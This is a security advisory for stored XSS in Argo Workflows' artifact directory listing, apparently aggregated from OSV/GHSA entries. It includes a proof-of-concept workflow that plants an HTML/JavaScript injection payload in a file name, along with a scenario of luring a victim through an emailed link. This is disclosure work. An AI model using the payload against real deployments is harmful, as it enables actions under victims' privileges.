Argo Workflows affected by stored XSS in the artifact directory listing

Open Source Vulnerabilities CVE-2026-23960

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to versions 3.6.17 and 3.7.8, stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges. Versions 3.6.17 and 3.7.8 fix the issue.

Open Source Vulnerabilities BIT-argo-workflows-2026-23960

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to versions 3.6.17 and 3.7.8, stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges. Versions 3.6.17 and 3.7.8 fix the issue.

Open Source Vulnerabilities GO-2026-4350

Argo Workflows affected by stored XSS in the artifact directory listing in github.com/argoproj/argo-workflows

Open Source Vulnerabilities GHSA-cv78-6m8q-ph82

### Summary Stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges. ### Details The directory listing response in `server/artifacts/artifact_server.go` renders object names directly into HTML via `fmt.Fprintf` without escaping. Object names come from `driver.ListObjects(...)` and are attacker‑controlled when a workflow writes files into an output artifact directory. https://github.com/argoproj/argo-workflows/blob/9872c296d29dcc5e9c78493054961ede9fc30797/server/artifacts/artifact_server.go#L194-L244 ### PoC 1. Deploy Argo Workflows: ``` kubectl create ns argo kubectl apply --server-side -f manifests/base/crds/full kubectl apply --server-side -k manifests/quick-start/postgres ``` 2. Port‑forward Argo Server: ``` kubectl -n argo port-forward deploy/argo-server 2746:2746 ``` 3. Create the PoC workflow: ```yml cat > /tmp/argo-xss.yaml <<'EOF' apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: xss-artifact-test- spec: entrypoint: main templates: - name: main container: image: alpine command: [sh, -c] args: - | mkdir -p /tmp/artifacts touch '/tmp/artifacts/xss"><img src=x onerror="alert(document.domain)">.html' outputs: artifacts: - name: dir path: /tmp/artifacts archive: none: {} EOF ``` ``` kubectl -n argo create -f /tmp/argo-xss.yaml ``` 4. Wait for completion: ``` kubectl -n argo get wf -w ``` 5. Get the node ID: ``` kubectl -n argo get wf <wf-name> \ -o jsonpath='{range .status.nodes.*}{.id}{"\t"}{.displayName}{"\n"}{end}' ``` 6. Open the listing: `https://localhost:2746/artifact-files/argo/workflows/<wf-name>/<node-id>/outputs/dir/` <img width="1220" height="349" alt="image" src="https://github.com/user-attachments/assets/9d859826-c7cd-403b-988e-74695552944b" /> ### Impact - The attacker creates a workflow that produces a HTML artifact that contains a HTML file that contains a script which uses XHR calls to interact with the Argo Server API. - The attacker emails the deep-link to the artifact to their victim. The victim opens the link, the script starts running. As the script has access to the Argo Server API (as the victim), so may do the following (if the victim may): - Read information about the victim’s workflows. - Create or delete workflows.